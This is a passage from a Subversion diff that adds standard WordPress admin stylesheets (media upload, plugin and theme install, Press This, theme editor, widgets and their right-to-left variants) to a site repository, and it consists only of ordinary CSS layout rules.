+#gallery-settings .align .field label {
+	margin: 0 0 0 1.5em;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/media.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/media.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/media.css	(revision 44)
@@ -0,0 +1,400 @@
+div#media-upload-header {
+	margin: 0;
+	padding: 0 5px;
+	font-weight: bold;
+	position: relative;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	height: 2.5em;
+}
+
+body#media-upload ul#sidemenu {
+	font-weight: normal;
+	margin: 0 5px;
+	position: absolute;
+	left: 0px;
+	bottom: -1px;
+}
+
+div#media-upload-error {
+	margin: 1em;
+	font-weight: bold;
+}
+
+form {
+	margin: 1em;
+}
+
+#search-filter {
+	text-align: right;
+}
+
+.media-upload-form label,
+.media-upload-form legend {
+	display: block;
+	font-weight: bold;
+	font-size: 13px;
+	margin-bottom: 0.5em;
+	margin: 0 0 0.5em 0;
+}
+
+th {
+	position: relative;
+}
+
+.media-upload-form label.form-help, td.help {
+	font-family: "Lucida Grande", "Bitstream Vera Sans", Verdana, Arial, sans-serif;
+	font-style: italic;
+	font-weight: normal;
+}
+
+.media-upload-form p.help {
+	margin: 0;
+	padding: 0;
+}
+
+.media-upload-form fieldset {
+	width: 100%;
+	border: none;
+	text-align: justify;
+	margin: 0 0 1em 0;
+	padding: 0;
+}
+
+/* specific to the image upload form */
+.align .field label {
+	display: inline;
+	padding: 0 0 0 28px;
+	margin: 0 1em 0 0;
+}
+
+.image-align-none-label {
+	background: url(../images/align-none.png) no-repeat center left;
+}
+
+.image-align-left-label {
+	background: url(../images/align-left.png) no-repeat center left;
+}
+
+.image-align-center-label {
+	background: url(../images/align-center.png) no-repeat center left;
+}
+
+.image-align-right-label {
+	background: url(../images/align-right.png) no-repeat center left;
+}
+
+tr.image-size td {
+	width: 460px;
+}
+
+tr.image-size div.image-size-item {
+	float: left;
+	width: 25%;
+	margin: 0;
+}
+
+tr.image-size label {
+	display: inline;
+	margin: 0 0 0 1em;
+}
+
+.pinkynail {
+	max-width: 40px;
+	max-height: 40px;
+}
+
+#library-form .progress,
+#gallery-form .progress,
+#flash-upload-ui,
+.insert-gallery,
+.describe.startopen,
+.describe.startclosed {
+	display: none;
+}
+
+.media-item .thumbnail {
+	max-width: 128px;
+	max-height: 128px;
+}
+
+.media-item .pinkynail {
+	float: left;
+	margin: 2px;
+	height: 32px;
+	max-width: 40px;
+}
+
+thead.media-item-info tr {
+	background-color: transparent;
+}
+
+thead.media-item-info th,
+thead.media-item-info td {
+	border: none;
+	margin: 0;
+}
+
+.form-table thead.media-item-info {
+	border: 8px solid #fff;
+}
+
+abbr.required {
+	text-decoration: none;
+	border: none;
+}
+
+.describe label {
+	display: inline;
+}
+
+.describe td {
+	vertical-align: middle;
+	padding: 0 5px 0 0;
+}
+
+.describe td.A1 {
+	width: 132px;
+}
+
+.describe input[type="text"],
+.describe textarea {
+	width: 460px;
+	border-width: 1px;
+	border-style: solid;
+}
+
+.describe-toggle-on,
+.describe-toggle-off {
+	display: block;
+	line-height: 36px;
+	float: right;
+	margin-right: 20px;
+}
+
+.describe-toggle-off {
+	display: none;
+}
+
+.hidden {
+	height: 0;
+	width: 0;
+	overflow: hidden;
+	border: none;
+}
+
+/* Specific to Uploader */
+
+#media-upload .media-upload-form p {
+	margin: 0 1em 1em 0;
+}
+
+#media-upload p.ml-submit {
+	padding: 1em 0;
+}
+
+#media-upload p.help,
+#media-upload label.help {
+	font-family: "Lucida Grande", "Bitstream Vera Sans", Verdana, Arial, sans-serif;
+	font-style: italic;
+	font-weight: normal;
+}
+
+#media-upload tr.image-size td.field {
+	text-align: center;
+}
+
+#media-upload #media-items {
+	border-width: 1px;
+	border-style: solid;
+	border-bottom: none;
+	width: 623px;
+}
+
+#media-upload .media-item {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	min-height: 36px;
+	width: 100%;
+}
+
+#media-upload .ui-sortable .media-item {
+	cursor: move;
+}
+
+.filename {
+	line-height: 36px;
+	padding: 0 10px;
+	overflow: hidden;
+}
+
+#media-upload .describe {
+	padding: 5px;
+	width: 100%;
+	clear: both;
+	cursor: default;
+}
+
+#media-upload .slidetoggle {
+	border-top-width: 1px;
+	border-top-style: solid;
+}
+
+#media-upload .describe th.label {
+	padding-top: .5em;
+	text-align: left;
+	min-width: 120px;
+}
+
+#media-upload tr.align td.field {
+	text-align: center;
+}
+
+#media-upload tr.image-size {
+	margin-bottom: 1em;
+	height: 3em;
+}
+
+#media-upload #filter {
+	width: 623px;
+}
+
+#media-upload #filter .subsubsub {
+	margin: 8px 0;
+}
+
+#filter .tablenav select {
+	border-style: solid;
+	border-width: 1px;
+	padding: 2px;
+	vertical-align: top;
+	width: auto;
+}
+
+#media-upload .del-attachment {
+	display: none;
+	margin: 5px 0;
+}
+
+.menu_order {
+	float: right;
+	font-size: 11px;
+	margin: 10px 10px 0;
+}
+
+.menu_order_input {
+	border: 1px solid #ddd;
+	font-size: 10px;
+	padding: 1px;
+	width: 23px;
+}
+
+.ui-sortable-helper {
+	background-color: #fff;
+	border: 1px solid #aaa;
+	opacity: 0.6;
+	filter: alpha(opacity=60);
+}
+
+#media-upload th.order-head {
+	width: 25%;
+	text-align: center;
+}
+
+#media-upload .widefat {
+	width: 626px;
+	border-style: solid solid none;
+}
+
+.sorthelper {
+	height: 37px;
+	width: 623px;
+	display: block;
+}
+
+#gallery-settings th.label {
+	width: 160px;
+}
+
+#gallery-settings #basic th.label {
+	padding: 5px 5px 5px 0;
+}
+
+#gallery-settings .title {
+	clear: both;
+	padding: 0 0 3px;
+	border-bottom-style: solid;
+	border-bottom-width: 1px;
+	font-family: Georgia,"Times New Roman",Times,serif;
+	font-size: 1.6em;
+	border-bottom-color: #DADADA;
+	color: #5A5A5A;
+}
+
+h3.media-title  {
+	color: #5A5A5A;
+	font-family: Georgia,"Times New Roman",Times,serif;
+	font-size: 1.6em;
+	font-weight: normal;
+}
+
+#gallery-settings .describe td {
+	vertical-align: middle;
+	height: 3.5em;
+}
+
+#gallery-settings .describe th.label {
+	padding-top: .5em;
+	text-align: left;
+}
+
+#gallery-settings .describe {
+	padding: 5px;
+	width: 615px;
+	clear: both;
+	cursor: default;
+}
+
+#gallery-settings .describe select {
+	width: 15em;
+	border: 1px solid #dfdfdf;
+}
+
+#gallery-settings label,
+#gallery-settings legend {
+	font-size: 13px;
+	color: #464646;
+	margin-right: 15px;
+}
+
+#gallery-settings .align .field label {
+	margin: 0 1.5em 0 0;
+}
+
+#gallery-settings p.ml-submit {
+	border-top: 1px solid #dfdfdf;
+}
+
+#gallery-settings select#columns {
+	width: 6em;
+}
+
+#sort-buttons {
+	font-size: 0.8em;
+	margin: 3px 25px -8px 0;
+	text-align: right;
+	max-width: 625px;
+}
+
+#sort-buttons a {
+	text-decoration: none;
+}
+
+#sort-buttons #asc,
+#sort-buttons #showall {
+	padding-left: 5px;
+}
+
+#sort-buttons span {
+	margin-right: 25px;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/plugin-install-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/plugin-install-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/plugin-install-rtl.css	(revision 44)
@@ -0,0 +1,43 @@
+div.star {
+	left: auto;
+	right: 0;
+	letter-spacing: 0;
+}
+.star img, div.star a, div.star a:hover, div.star a:visited {
+	right: auto;
+	left: 0;
+}
+#plugin-information ul#sidemenu {
+	left: auto;
+	right: 0;
+}
+#plugin-information h2 {
+	margin-right: 0;
+	margin-left: 200px;
+}
+#plugin-information .fyi {
+	margin-left: 5px;
+	margin-right: 20px;
+}
+#plugin-information .fyi h2 {
+	margin-left: 0;
+}
+#plugin-information .fyi ul {
+	padding: 10px 7px 10px 5px;
+}
+#plugin-information #section-screenshots li p {
+	padding-left: 0;
+	padding-right: 20px;
+}
+#plugin-information .updated,
+#plugin-information pre {
+	margin-right: 0;
+	margin-left: 215px;
+}
+#plugin-information .updated, #plugin-information .error {
+	clear: none;
+	direction: rtl;
+}
+#section-description {
+	direction: ltr;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/plugin-install.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/plugin-install.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/plugin-install.css	(revision 44)
@@ -0,0 +1,148 @@
+/* NOTE: the following CSS rules(.star*) are taken more or less straight from the bbPress rating plugin. */
+div.star-holder {
+	position: relative;
+	height: 19px;
+	width: 100px;
+	font-size: 19px;
+}
+
+div.star {
+	height: 100%;
+	position: absolute;
+	top: 0;
+	left: 0;
+	background-color: transparent;
+	letter-spacing: 1ex;
+	border: none;
+}
+
+.star1 { width: 20%; }
+.star2 { width: 40%; }
+.star3 { width: 60%; }
+.star4 { width: 80%; }
+.star5 { width: 100%; }
+
+.star img, div.star a, div.star a:hover, div.star a:visited {
+	display: block;
+	position: absolute;
+	right: 0;
+	border: none;
+	text-decoration: none;
+}
+
+div.star img {
+	width: 19px;
+	height: 19px;
+	border-left: 1px solid #fff;
+	border-right: 1px solid #fff;
+}
+
+/* Start custom CSS */
+/* Header on thickbox */
+#plugin-information-header {
+	margin: 0;
+	padding: 0 5px;
+	font-weight: bold;
+	position: relative;
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	height: 2.5em;
+}
+#plugin-information ul#sidemenu {
+	font-weight: normal;
+	margin: 0 5px;
+	position: absolute;
+	left: 0;
+	bottom: -1px;
+}
+
+/* Install sidemenu */
+#plugin-information p.action-button {
+	width: 100%;
+	padding-bottom: 0;
+	margin-bottom: 0;
+	margin-top: 10px;
+	-moz-border-radius: 3px 0 0 3px;
+	-webkit-border-top-left-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	border-top-left-radius: 3px;
+	-webkit-border-bottom-left-radius: 3px;
+	-khtml-border-bottom-left-radius: 3px;
+	border-top-bottom-radius: 3px;
+}
+
+#plugin-information .action-button a {
+	text-align: center;
+	font-weight: bold;
+	text-decoration: none;
+	display: block;
+	line-height: 2em;
+}
+
+#plugin-information h2 {
+	clear: none !important;
+	margin-right: 200px;
+}
+
+#plugin-information .fyi {
+	margin: 0 10px 50px;
+	width: 210px;
+}
+
+#plugin-information .fyi h2 {
+	font-size: 0.9em;
+	margin-bottom: 0;
+	margin-right: 0;
+}
+
+#plugin-information .fyi h2.mainheader {
+	padding: 5px;
+	-moz-border-radius-topleft: 3px;
+	-webkit-border-top-left-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	border-top-left-radius: 3px;
+}
+
+#plugin-information .fyi ul {
+	padding: 10px 5px 10px 7px;
+	margin: 0;
+	list-style: none;
+	-moz-border-radius-bottomleft: 3px;
+	-webkit-border-bottom-left-radius: 3px;
+	-khtml-border-bottom-left-radius: 3px;
+	border-top-bottom-radius: 3px;
+}
+
+#plugin-information .fyi li {
+	margin-right: 0;
+}
+
+#plugin-information #section-holder {
+	padding: 10px;
+}
+
+#plugin-information .section ul,
+#plugin-information .section ol {
+	margin-left: 16px;
+	list-style-type: square;
+	list-style-image: none;
+}
+
+#plugin-information #section-screenshots li img {
+	vertical-align: text-top;
+}
+
+#plugin-information #section-screenshots li p {
+	font-style: italic;
+	padding-left: 20px;
+	padding-bottom: 2em;
+}
+
+#plugin-information .updated,
+#plugin-information pre {
+	margin-right: 215px;
+}
+
+#plugin-information pre {
+	padding: 7px;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/press-this-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/press-this-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/press-this-rtl.css	(revision 44)
@@ -0,0 +1,128 @@
+body {
+	font-family: Tahoma, Arial;
+}
+
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML {
+	margin: 0 0 0 5px;
+	float: right;
+}
+
+/* Editor/Main Column */
+div#poststuff {
+	padding-left: 0;
+	padding-right: 10px;
+}
+
+.posting {
+	margin-right: 0;
+	margin-left: 228px;
+	left: auto;
+	right: 0;
+}
+
+#side-info-column {
+	float: left;
+	right: auto;
+	left: 0;
+	margin-right: 0;
+	margin-left: 10px;
+}
+
+#side-info-column .sleeve {
+	padding-left: 0;
+	padding-right: 10px;
+}
+
+h3.tb {
+	margin-left: 0;
+	margin-right: 5px;
+}
+
+#actions {
+	float: left;
+}
+
+#extra_fields #actions {
+	right: auto;
+	left: 4px;
+}
+
+#actions li {
+	float: right;
+	margin-right: 0;
+	margin-left: 10px;
+}
+
+#extra_fields .button {
+	margin-right: 0;
+	margin-left: 5px;
+}
+
+/* Photo Styles */
+#img_container a {
+	float: right;
+}
+
+#category-add input, #category-add select {
+	font-family: Tahoma, Arial;
+}
+
+#categorydiv ul.categorychecklist ul {
+	margin-left: 0;
+	margin-right: 18px;
+}
+
+/* Tags */
+#tagsdiv #newtag {
+	margin-right: 0;
+	margin-left: 5px;
+}
+
+#tagadd {
+	margin-left: 0;
+	margin-right: 3px;
+}
+
+#tagchecklist span {
+	margin-left: .5em;
+	margin-right: 10px;
+	float: right;
+}
+#tagchecklist span a {
+	margin: 6px -9px 0 0;
+	float: right;
+}
+
+#content {
+	margin-left: 0;
+	margin-right: 1%;
+}
+
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted,
+#postcustomstuff .submit input {
+	font-family: Tahoma, Arial, sans-serif;
+}
+
+.ac_results li {
+	text-align: right;
+}
+
+#TB_ajaxContent #options {
+	right: auto;
+	left: 25px;
+}
+
+#post_status {
+	margin-left: 0;
+	margin-right: 10px;
+}
+
+/* Footer */
+#footer {
+	padding: 10px 60px 0 0;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/press-this.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/press-this.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/press-this.css	(revision 44)
@@ -0,0 +1,559 @@
+body {
+	font: 13px "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	color: #333;
+	margin: 0;
+	padding: 0;
+}
+
+img {
+	border: none;
+}
+
+/* Header */
+#wphead {
+	border-top: none;
+	padding-top: 4px;
+	background: #444 !important;
+}
+
+.tagchecklist span a {
+background: transparent url(../images/xit.gif) no-repeat 0 0;
+}
+
+#poststuff #edButtonPreview,
+#poststuff #edButtonHTML {
+	-moz-border-radius: 3px 3px 0 0;
+	-webkit-border-top-right-radius: 3px;
+	-webkit-border-top-left-radius: 3px;
+	-khtml-border-top-right-radius: 3px;
+	-khtml-border-top-left-radius: 3px;
+	border-top-right-radius: 3px;
+	border-top-left-radius: 3px;
+	border-style: solid;
+	border-width: 1px;
+	cursor: pointer;
+	display: block;
+	height: 18px;
+	margin: 0 5px 0 0;
+	padding: 0 5px 0;
+	font-size: 10px;
+	line-height: 18px;
+	float: left;
+}
+
+.howto {
+	margin-top: 2px;
+	margin-bottom: 3px;
+	font-size: 11px;
+	font-style: italic;
+	display: block;
+}
+
+input.text {
+	outline-color: -moz-use-text-color;
+	outline-style: none;
+	outline-width: medium;
+	width: 100%;
+}
+
+#message {
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+/* Editor/Main Column */
+div#poststuff {
+	padding-left: 10px;
+	margin-top: 10px;
+}
+
+div.zerosize {
+	border: 0 none;
+	height: 0;
+	margin: 0;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	width: 0;
+}
+
+#poststuff #edButtonPreview.active,
+#poststuff #edButtonHTML.active {
+	display: none;
+}
+
+.posting {
+	margin-right: 228px;
+	position: relative;
+	left: 0;
+}
+
+#side-info-column {
+	float: right;
+	width: 218px;
+	position: absolute;
+	right: 0;
+	margin-right: 10px;
+}
+
+#side-info-column .sleeve {
+	padding-top: 5px;
+	padding-left: 10px;
+}
+
+#poststuff .inside {
+	font-size: 11px;
+	margin: 0 12px 12px;
+}
+
+#poststuff h2, #poststuff h3 {
+	font-size: 12px;
+	font-weight: bold;
+	line-height: 1;
+	margin: 0 0 10px;
+	padding: 7px 9px;
+}
+
+h3.tb {
+	text-shadow: 0 1px 0 #fff;
+	font-weight: bold;
+	font-size: 12px;
+	margin-left: 5px;
+}
+
+#TB_window {
+	border: 1px solid #333;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+.postbox,
+.stuffbox {
+	margin-bottom: 10px;
+	border-width: 1px;
+	border-style: solid;
+	line-height: 1;
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+}
+
+#title,
+.tbtitle {
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+	border-style: solid;
+	border-width: 1px;
+	font-size: 1.7em;
+	outline: none;
+	padding: 3px 4px;
+	border-color: #dfdfdf;
+}
+
+.tbtitle {
+	font-size: 12px;
+	padding: 3px;
+}
+
+#title {
+	width: 98%;
+}
+
+.editor-container {
+	-moz-border-radius: 6px;
+	-khtml-border-radius: 6px;
+	-webkit-border-radius: 6px;
+	border-radius: 6px;
+	border: 1px solid #dfdfdf;
+	background-color: #fff;
+}
+
+.postdivrich {
+	position: relative;
+	padding-top: 25px;
+}
+
+#actions {
+	clear: both;
+	float: right;
+	margin-top: -19px;
+	position: relative;
+}
+
+#extra_fields #actions {
+	clear: both;
+	position: relative;
+	right: 0px;
+	margin: -24px 0 0;
+}
+
+#actions li {
+	float: left;
+	list-style: none;
+	margin-right: 10px;
+}
+
+#extra_fields .button {
+	margin-right: 5px;
+	padding: 3px 6px;
+	border-radius: 10px; 
+	-webkit-border-radius: 10px; 
+	-khtml-border-radius: 10px;
+	-moz-border-radius: 10px;
+}
+
+/* Photo Styles */
+.photolist {
+	margin-top: -10px;
+}
+
+#photo_saving {
+	margin: 0 8px 8px;
+	vertical-align: middle;
+}
+
+#img_container {
+	background-color: #fff;
+}
+#img_container_container {
+	overflow: auto;
+}
+
+#extra_fields {
+	margin-top: 10px;
+	position: relative;
+}
+
+#extra_fields .postbox {
+	margin-bottom: 5px;
+}
+
+#extra_fields .titlewrap {
+	padding: 0;
+	overflow: auto;
+	height: 100px;
+}
+
+#img_container {
+	position: relative;
+}
+
+#img_container a {
+	display: block;
+	float: left;
+	overflow: hidden;
+	vertical-align: center;
+}
+
+#img_container img,
+#img_container a {
+	width: 68px;
+	height: 68px;
+}
+
+#img_container img {
+	border: none;
+	background-color: #f4f4f4;
+	cursor: pointer;
+}
+
+#img_container a,
+#img_container a:link,
+#img_container a:visited {
+	border: 1px solid #ccc;
+	display: block;
+	position: relative;
+}
+
+#img_container a:hover,
+#img_container a:active {
+	border-color: #000;
+	z-index: 1000;
+	border-width: 2px;
+	margin: -1px;
+}
+
+/* Video */
+#embed-code {
+	width: 100%;
+	height: 98px;
+}
+
+/* Submit Column */
+#viewsite {
+	padding: 0;
+	margin: 0 0 20px 0;
+	font-size: 10px;
+	clear: both;
+}
+
+#viewsite .button {
+	margin: 0;
+	display: block;
+}
+
+.wp-hidden-children
+.wp-hidden-child {
+	display: none;
+}
+
+#category-adder {
+	padding: 4px 0;
+}
+
+#category-adder h4 {
+	margin: 0 0 8px;
+}
+
+#category-add input {
+	width: 94%;
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 13px;
+	margin: 1px;
+	padding: 3px;
+}
+
+#category-add select {
+	width: 70%;
+	-x-system-font: none;
+	border-style: solid;
+	border-width: 1px;
+	font-family: "Lucida Grande", "Bitstream Vera Sans", Verdana, Arial, sans-serif;
+	font-size: 12px;
+	height: 2em;
+	line-height: 20px;
+	padding: 2px;
+	margin: 1px;
+	vertical-align: top;
+}
+
+#category-add input,
+#category-add-sumbit {
+	width: auto;
+}
+
+/* Categories */
+#categorydiv ul,
+#linkcategorydiv ul {
+	list-style: none;
+	padding: 0;
+	margin: 0;
+}
+
+#categorydiv ul.categorychecklist ul {
+	margin-left: 18px;
+}
+
+#categorydiv div.tabs-panel {
+	height: 140px;
+	overflow: auto;
+}
+
+ul.categorychecklist li {
+	margin: 0;
+	padding: 0;
+	line-height: 19px;
+}
+
+/* Tags */
+.tagsdiv .newtag {
+	margin-right: 5px;
+}
+
+.jaxtag {
+	clear: both;
+	margin: 0;
+}
+
+.tagadd {
+	margin-left: 3px;
+}
+
+.tagchecklist {
+	margin-top: 3px;
+	margin-bottom: 1em;
+	font-size: 12px;
+	overflow: auto;
+}
+
+.tagchecklist strong {
+	position: absolute;
+	font-size: .75em;
+}
+
+.tagchecklist span {
+	margin-right: .5em;
+	margin-left: 10px;
+	display: block;
+	float: left;
+	font-size: 11px;
+	line-height: 1.8em;
+	white-space: nowrap;
+	cursor: default;
+}
+
+.tagchecklist span a {
+	margin: 6px 0 0 -9px;
+	cursor: pointer;
+	width: 10px;
+	height: 10px;
+	display: block;
+	float: left;
+	text-indent: -9999px;
+	overflow: hidden;
+	position: absolute;
+}
+
+#content {
+	width: 96% !important;
+	margin-left: 1%;
+	margin-bottom: 10px;
+	border: 0 none;
+	height: 365px;
+}
+
+/* Submit */
+
+#saving {
+	display: inline;
+	vertical-align: middle;
+}
+
+.submit input,
+.button,
+.button-primary,
+.button-secondary,
+.button-highlighted,
+#postcustomstuff .submit input {
+	font-family: "Lucida Grande", Verdana, Arial, "Bitstream Vera Sans", sans-serif;
+	text-decoration: none;
+	font-size: 11px !important;
+	line-height: 16px;
+	padding: 2px 8px;
+	cursor: pointer;
+	border-width: 1px;
+	border-style: solid;
+	-moz-border-radius: 11px;
+	-khtml-border-radius: 11px;
+	-webkit-border-radius: 11px;
+	border-radius: 11px;
+}
+
+.button-primary {
+	background: #21759B url(../images/button-grad.png) repeat-x scroll left top;
+	border-color: #21759B;
+	color: #fff;
+}
+
+.ac_results {
+	padding: 0;
+	margin: 0;
+	list-style: none;
+	position: absolute;
+	z-index: 10000;
+	display: none;
+	border-width: 1px;
+	border-style: solid;
+}
+
+.ac_results li {
+	padding: 2px 5px;
+	white-space: nowrap;
+	text-align: left;
+}
+
+.ac_over {
+	cursor: pointer;
+}
+
+.ac_match {
+	text-decoration: underline;
+}
+
+#TB_ajaxContent #options {
+	position: absolute;
+	top: 20px;
+	right: 25px;
+	padding: 5px;
+}
+
+#TB_ajaxContent h3 {
+	margin-bottom: .25em;
+}
+
+.updated {
+	margin: 10px 0;
+	padding: 0;
+	border-width: 1px;
+	border-style: solid;
+	width: 99%;
+}
+
+.updated p,
+.error p {
+	margin: 0.6em 0;
+	padding: 0 0.6em;
+}
+
+.error a {
+	text-decoration: underline;
+}
+
+.updated a {
+	text-decoration: none;
+	padding-bottom: 2px;
+}
+
+#post_status {
+	margin-left: 10px;
+	margin-bottom: 1em;
+	display: block;
+}
+
+/* Footer */
+#footer {
+	height: 65px;
+	display: block;
+	width: 640px;
+	padding: 10px 0 0 60px;
+	margin: 0;
+	position: absolute;
+	bottom: 0;
+	font-size: 12px;
+}
+
+#footer p {
+	margin: 0;
+	padding: 7px 0;
+}
+
+#footer p a {
+	text-decoration: none;
+}
+#footer p a:hover {
+	text-decoration: underline;
+}
+
+/* Utility Classes */
+.centered {
+	text-align: center;
+}
+
+.hidden {
+	display: none;
+}
+
+.postbox input[type="text"],
+.postbox textarea,
+.stuffbox input[type="text"],
+.stuffbox textarea {
+	border-width: 1px;
+	border-style: solid;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/theme-editor-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/theme-editor-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/theme-editor-rtl.css	(revision 44)
@@ -0,0 +1,3 @@
+#templateside {
+	float: left;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/theme-editor.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/theme-editor.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/theme-editor.css	(revision 44)
@@ -0,0 +1,60 @@
+#template textarea {
+	font-family: Consolas, Monaco, Courier, monospace;
+	font-size: 12px;
+	width: 97%;
+}
+
+#template p {
+	width: 97%;
+}
+
+#templateside {
+	float: right;
+	width: 190px;
+	word-wrap: break-word;
+}
+
+#templateside h3,
+#postcustomstuff p.submit {
+	margin: 0;
+}
+
+#templateside h4 {
+	margin: 1em 0 0;
+}
+
+#templateside ol,
+#templateside ul {
+	margin: .5em;
+	padding: 0;
+}
+
+#templateside li {
+	margin: 4px 0;
+}
+
+.nonessential {
+	font-size: small;
+}
+
+.highlight {
+	padding: 1px;
+}
+
+div.tablenav {
+	margin-right: 210px;
+}
+
+#documentation {
+	margin-top: 10px;
+}
+#documentation label {
+	line-height: 22px;
+	vertical-align: top;
+	font-weight: bold;
+}
+
+.fileedit-sub {
+	padding: 10px 0 8px;
+	line-height: 180%;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/theme-install.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/theme-install.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/theme-install.css	(revision 44)
@@ -0,0 +1,142 @@
+/* NOTE: the following CSS rules(.star*) are taken more or less straight from the bbPress rating plugin. */
+div.star-holder {
+	position: relative;
+	height: 19px;
+	width: 100px;
+	font-size: 19px;
+}
+
+div.star {
+	height: 100%;
+	position: absolute;
+	top: 0;
+	left: 0;
+	background-color: transparent;
+	letter-spacing: 1ex;
+	border: none;
+}
+
+.star1 { width: 20%; }
+.star2 { width: 40%; }
+.star3 { width: 60%; }
+.star4 { width: 80%; }
+.star5 { width: 100%; }
+
+.star img, div.star a, div.star a:hover, div.star a:visited {
+	display: block;
+	position: absolute;
+	right: 0;
+	border: none;
+	text-decoration: none;
+}
+
+div.star img {
+	width: 19px;
+	height: 19px;
+	border-left: 1px solid #fff;
+	border-right: 1px solid #fff;
+}
+
+.theme-listing .theme-item {
+	display: inline-block;
+	width: 200px;
+	border: thin solid #ccc;
+	vertical-align: top;
+}
+
+.theme-listing .theme-item h3 {
+	text-align: center;
+	font-size: 14px;
+	font-style: italic;
+	margin: 0;
+	padding: 0;
+}
+
+.theme-listing .theme-item img {
+	max-width: 150px;
+	max-height: 150px;
+}
+
+.theme-listing .theme-item-info span {
+	display: none;
+}
+.theme-listing .theme-item:hover .theme-item-info span {
+	display: inline;
+}
+.theme-listing .theme-item:hover .theme-item-info span.dots {
+	display: none;
+}
+.theme-listing .theme-item-info span.action-links {
+	font-weight: bold;
+	text-align: center;
+}
+
+.theme-listing br.line {
+	border-bottom-width: 1px;
+	border-bottom-style: solid;
+	margin-bottom: 3px;
+}
+
+.available-theme {
+	padding: 20px 15px;
+}
+
+#theme-information .theme-preview-img {
+	float: left;
+	margin: 5px 25px 10px 15px;
+	width: 300px;
+}
+
+#theme-information .action-button {
+	border-top-width: 1px;
+	border-top-style: solid;
+	margin: 10px 5px 20px;
+}
+
+#theme-information .action-button #cancel {
+	float: left;
+	margin: 10px 15px;
+}
+
+#theme-information .action-button #install {
+	float: right;
+	margin: 10px 15px;
+}
+
+#theme-information .available-theme h3 {
+	margin: 1em 0;
+}
+
+body#theme-information {
+	height: auto;
+}
+
+.feature-filter {
+	-moz-border-radius: 8px;
+	-khtml-border-radius: 8px;
+	-webkit-border-radius: 8px;
+	border-radius: 8px;
+	border-width: 1px;
+	border-style: solid;
+	padding: 8px 12px 0;
+}
+
+.feature-filter .feature-group {
+	float: left;
+	margin-bottom: 20px;
+	width: 695px;
+}
+
+.feature-filter .feature-name {
+	float: left;
+	text-align: right;
+	width: 95px;
+}
+
+.feature-filter .feature-group li {
+	display: inline;
+	float: left;
+	list-style-type: none;
+	padding-right: 25px;
+	min-width: 145px;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/widgets-rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/widgets-rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/widgets-rtl.css	(revision 44)
@@ -0,0 +1,11 @@
+
+ul#widget-list li.widget-list-item div.widget-description {
+	margin: 0 200px 0 0;
+	padding: 0 4em 0 0;
+}
+.widget-control-save,
+.widget-control-remove {
+	margin-right: 0;
+	margin-left: 8px;
+	float: right;
+}
Index: /trunk/www.guidonia.net/wp/wp-admin/css/widgets.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/css/widgets.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/css/widgets.css	(revision 44)
@@ -0,0 +1,365 @@
+html,
+body {
+	min-width: 950px;
+}
+
+/* 2 column liquid layout */
+div.widget-liquid-left {
+	float: left;
+	clear: left;
+	width: 100%;
+	margin-right: -325px;
+}
+
+div#widgets-left {
+	margin-left: 5px;
+	margin-right: 325px;
+}
+
+div#widgets-right {
+	width: 285px;
+	margin: 0 auto;
+}
+
+div.widget-liquid-right {
+	float: right;
+	clear: right;
+	width: 300px;
+}
+
+.widget-liquid-right .widget,
+#wp_inactive_widgets .widget {
+	width: 250px;
+	margin: 0 auto 20px;
+	overflow: hidden;
+}
+
+#wp_inactive_widgets .widget {
+	margin: 0 10px 20px;
+	float: left;
+}
+
+div.sidebar-name h3 {
+	margin: 0;
+	padding: 5px 12px;
+	font-size: 13px;
+	height: 19px;
+	overflow: hidden;
+	white-space: nowrap;
+}
+
+div.sidebar-name {
+	background-repeat: repeat-x;
+	background-position: 0 0;
+	cursor: pointer;
+	font-size: 13px;
+	border-width: 1px;
+	border-style: solid;
